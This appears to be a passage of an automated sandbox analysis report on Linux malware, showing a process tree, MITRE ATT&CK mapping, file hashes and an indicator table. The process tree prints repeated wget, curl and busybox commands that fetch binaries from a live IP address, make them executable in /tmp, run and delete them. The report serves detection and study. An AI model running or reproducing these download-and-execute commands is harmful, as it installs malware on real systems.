  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  PID:947
- /bin/chmod
  chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:953
- /bin/chmod
  chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:959
- /bin/chmod
  chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:962
- /usr/bin/wget
  wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:965
- /bin/chmod
  chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

Path /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	718	Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	730	3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	736	ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	751	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
/tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og	770	egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
/tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2	794	16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
/tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f	805	nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
/tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc	815	dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
/tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a	829	PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
/tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF	850	aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
/tmp/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK	865	mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
/tmp/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV	871	3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
/tmp/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO	877	P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
/tmp/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx	883	zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
/tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc	889	dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
/tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a	895	PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
/tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF	901	aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
/tmp/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK	907	mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
/tmp/3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV	913	3xrsm4XgoK0SRDJysmgsXLFPfIbJmNWCoV
/tmp/P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO	919	P4hGFVyLVWfjdROx7Y21a49gr6x3eOq6tO
/tmp/zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx	925	zNNjucOGrBte578OHzgxAL8xKAp8NpYgsx
/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	931	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
/tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og	937	egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
/tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2	943	16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
/tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f	949	nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	955	Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	961	3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	967	ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV